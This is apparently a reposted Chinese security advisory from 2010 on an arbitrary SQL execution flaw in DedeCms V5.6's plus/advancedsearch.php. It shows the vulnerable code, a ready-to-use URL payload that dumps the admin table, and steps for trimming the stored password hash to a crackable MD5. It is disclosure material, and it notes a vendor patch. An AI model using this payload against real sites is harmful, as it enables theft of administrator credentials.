DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
[tag]dedecms[/tag]
影响版本:
DedeCms V5.6 漏洞描述:
DedeCMS内容管理系统软件采用XML名字空间风格核心模板:模板全部使用文件形式保存,对用户设计模板、网站升级转移均提供很大的便利,健壮的模板标签为站长DIY 自己的网站提供了强有力的支持。高效率标签缓存机制:允许对类同的标签进行缓存,在生成 HTML的时候,有利于提高系统反应速度,降低系统消耗的资源。模型与模块概念并存:在模型不能满足用户所有需求的情况下,DedeCMS推出一些互动的模块对系统进行补充,尽量满足用户的需求。
plus/advancedsearch.php
$sql 变量未初始化。导致鸡助漏洞
if($mid == 0) //必须绕过,By:俺是农村的。
{
showmsg('参数不正确,高级自定义搜索必须指定模型id', 'javascript');
exit();
}
$query = "select maintable, mainfields, addontable, addonfields, template from #@__advancedsearch where mid='$mid'";
$searchinfo = $dsql->GetOne($query);
if(!is_array($searchinfo)) //囧啊,绕过有难度,By:俺是农村的。
{
showmsg('自定义搜索模型不存在','-1'); By:小翔
exit();
}
$template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
if(empty($sql)) //人品问题,成功绕过! QQ:332876777
{
..............
}else{
$sql = urldecode($sql);
$query = $sql;
}
$sql = urlencode($sql);
$dlist = new DataListCP();
$dlist->pageSize = 20;
$dlist->SetParameter("sql", $sql);
$dlist->SetParameter("mid", $mid);
...............
$dlist->SetTemplate($templatefile);
$dlist->SetSource($query);
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!plus/advancedsearch.php?mid=1&sql=Select%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5SEBUG安全建议:
厂商补丁:
DedeCMS
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.dedecms.com/// sebug.net [2010-06-15]
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞:等您坐沙发呢!